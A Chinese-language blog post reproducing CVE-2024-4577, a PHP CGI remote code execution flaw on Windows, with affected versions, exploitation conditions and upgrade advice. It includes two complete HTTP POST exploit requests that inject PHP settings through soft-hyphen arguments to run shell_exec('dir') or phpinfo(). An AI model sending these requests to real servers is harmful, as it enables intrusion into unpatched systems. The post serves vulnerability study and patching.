【漏洞复现】PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)
Hello_Brian 2024-07-14 11:05:04 阅读 98
漏洞描述:
CVE-2024-4577导致漏洞产生的本质其实是Windows系统内字符编码转换的Best-Fit特性导致的。由于Windows系统内字符编码转换的Best-Fit特性导致PHP原本的安全限制被绕过,再加上一些特殊的PHP CGI环境配置导致了这个问题。
影响版本:
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29
利用前提:
直接用PHP-CGI启动 或者 php-cgi.exe/php.exe 暴露于cgi目录下(例如 /cgi-bin/ )仅影响Windows平台且使用了如下语系(简体中文936/繁体中文950/日文932等)
此漏洞对于环境要求比较苛刻,但是对于使用XAMPP默认配置搭建的PHP Web服务(Windows默认配置部署时,满足以上所有条件)
利用方式1:
通过修改httpd-xampp.conf中注释解开下面这段代码,注释之后需要重启apache服务
<code>POST /index.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
<?php echo shell_exec("dir"); ?>
利用方式2
无需任何配置信息修改
<code>POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host:
<?php phpinfo();?>
修复建议:
目前,官方已发布修复建议,建议受影响的用户尽快升级至安全版本。
PHP 8.3 >= 8.3.8
PHP 8.2 >= 8.2.20
PHP 8.1 >= 8.1.29
下载地址:https://www.php.net/downloads.php
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。